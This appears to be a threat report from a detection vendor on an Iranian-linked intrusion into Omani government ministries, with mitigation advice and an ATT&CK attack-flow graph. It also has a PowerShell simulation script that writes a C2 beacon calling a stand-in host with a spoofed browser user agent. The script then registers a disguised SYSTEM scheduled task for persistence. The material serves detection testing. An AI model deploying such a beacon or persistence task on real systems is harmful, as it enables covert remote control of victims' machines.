Iranian-Nexus Attack Exposes 26,000 Citizen Records in Oman

SOC Prime Team

Iranian-Nexus Attack Exposes 26,000 Citizen Records in Oman

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

A state-aligned Iranian threat actor compromised multiple government ministries in Oman by using webshells, ProxyShell exploits, and a custom command-and-control environment hosted on a UAE-based VPS. The attackers exfiltrated more than 26,000 user records and registry hives, then deployed post-compromise tools including Chisel and GodPotato to deepen access. The operation was further exposed by an open directory that unintentionally revealed the attackers’ tooling, scripts, and C2 logs, providing visibility into the full intrusion lifecycle.

Investigation

Researchers accessed the exposed VPS at 172.86.76.127 and identified webshells, Python-based command-and-control scripts, privilege-escalation tools, and multiple exploit scripts targeting ProxyShell and the DNN SSRF vulnerability. Network logs showed beaconing activity over ports 8001 and 8002, along with use of Chisel tunnels for covert access. The investigation also documented scheduled task creation, extraction of registry hives, and large-scale data dumping from compromised systems.

Mitigation

Organizations should apply all patches related to ProxyShell in Microsoft Exchange and remediate the DNN SSRF issue tracked as CVE-2025-32372. Web applications should be hardened, IIS accounts should run with least privilege, and unused ASP.NET pages should be disabled wherever possible. Defenders should also deploy web application firewalls, monitor outbound traffic over unusual ports, and regularly inspect internet-facing servers for abandoned or exposed directories.

Response

Security teams should create detections for webshell access patterns, PowerShell beaconing behavior, Chisel tunnel activity, and suspicious scheduled task creation. Incident responders should collect web server logs, registry hives, and any database dumps for forensic analysis. Affected systems should be isolated, credentials rotated, and the relevant Omani authorities or stakeholders notified without delay.

"graph TB %% Class Definitions Section classDef technique fill:#c2e0ff classDef tool fill:#cccccc %% Node Definitions u2013 Techniques initial_access["Technique – T1190 Exploit Public-Facing Application Method: ProxyShell & DNN SSRF"] class initial_access technique remote_services["Technique – T1210 Exploitation of Remote Services Lateral movement"] class remote_services technique web_shell["Technique – T1505.003 Web Shell Deployed: hc2.aspx / health_check_t.aspx"] class web_shell technique c2_bidir["Technique – T1102.002 Web Service Bidirectional Communication HTTP C2 server"] class c2_bidir technique tunneling["Technique – T1572 Protocol Tunneling & T1219.001 IDE Tunneling Tool: Chisel"] class tunneling technique weaken_enc["Technique – T1600 Weaken Encryption Applied to tunnel"] class weaken_enc technique priv_esc["Technique – T1134.003 Access Token Manipulation & T1068 Exploitation for Privilege Escalation Tool: GodPotato"] class priv_esc technique account_manip["Technique – T1098 Account Manipulation Maintain elevated rights"] class account_manip technique cred_access["Technique – T1012 Query Registry Steal SAM/System hives"] class cred_access technique def_evasion["Technique – T1562 Impair Defenses & T1668 Exclusive Control Disable AV"] class def_evasion technique discovery["Technique – T1592.002 Gather Victim Host Info & T1590.001 Network Domain Properties"] class discovery technique exfiltration["Technique – T1041 Exfiltration Over C2 Channel & T1030 Data Transfer Size Limits"] class exfiltration technique oneway["Technique – T1102.003 One-Way Web Service Communication Result posting"] class oneway technique %% Node Definitions u2013 Tools / Malware tool_proxyshell["Tool – Name: ProxyShell Purpose: Exploit Exchange Server"] class tool_proxyshell tool tool_chisel["Tool – Name: Chisel Purpose: Tunneling"] class tool_chisel tool tool_godpotato["Tool – Name: GodPotato Purpose: Privilege escalation"] class tool_godpotato tool %% Connections u2013 Attack Flow initial_access –>|leads_to| remote_services initial_access –>|uses| tool_proxyshell remote_services –>|leads_to| web_shell web_shell –>|enables| c2_bidir c2_bidir –>|uses| tunneling tunneling –>|uses| tool_chisel tunneling –>|enables| weaken_enc weaken_enc –>|enables| priv_esc priv_esc –>|uses| tool_godpotato priv_esc –>|enables| account_manip account_manip –>|enables| cred_access cred_access –>|enables| def_evasion def_evasion –>|enables| discovery discovery –>|enables| exfiltration exfiltration –>|uses| oneway "

Attack Flow

Attack Narrative & Commands:
The attacker has already gained a foothold on the victim machine and wishes to establish a low‑noise C2 beacon. They drop the PowerShell script new_beacon.ps1 into the user’s AppData folder. The script runs in an infinite loop, polling a remote C2 every 30 seconds. Each HTTP request is crafted with a Chrome UA string to blend in with normal web traffic, thereby evading network‑based detections (T1217, T1674). The attacker starts the beacon via a scheduled task to ensure persistence (T1204.004).

Regression Test Script:

# -------------------------------------------------
# Deploy and start the new_beacon PowerShell beacon
# -------------------------------------------------
$beaconPath = "$env:APPDATAnew_beacon.ps1"
$c2Url = "http://malicious.example.com/beacon"

# 1. Write the beacon script (simulated lightweight version)
$scriptContent = @'
while ($true) {
    $headers = @{
        "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36"
    }
    try {
        Invoke-WebRequest -Uri "$using:c2Url" -Headers $headers -Method GET -TimeoutSec 10 | Out-Null
    } catch {}
    Start-Sleep -Seconds 30
}
'@
Set-Content -Path $beaconPath -Value $scriptContent -Encoding UTF8

# 2. Register a scheduled task for persistence (runs every minute)
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -File `"$beaconPath`""
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration ([TimeSpan]::MaxValue)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "SystemUpdater" -Action $action -Trigger $trigger -Principal $principal -Force

Write-Host "Beacon deployed and scheduled task created."

Cleanup Commands:

# -------------------------------------------------
# Remove beacon and scheduled task
# -------------------------------------------------
$beaconPath = "$env:APPDATAnew_beacon.ps1"
Unregister-ScheduledTask -TaskName "SystemUpdater" -Confirm:$false
Remove-Item -Path $beaconPath -Force -ErrorAction SilentlyContinue
Write-Host "Cleanup completed."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free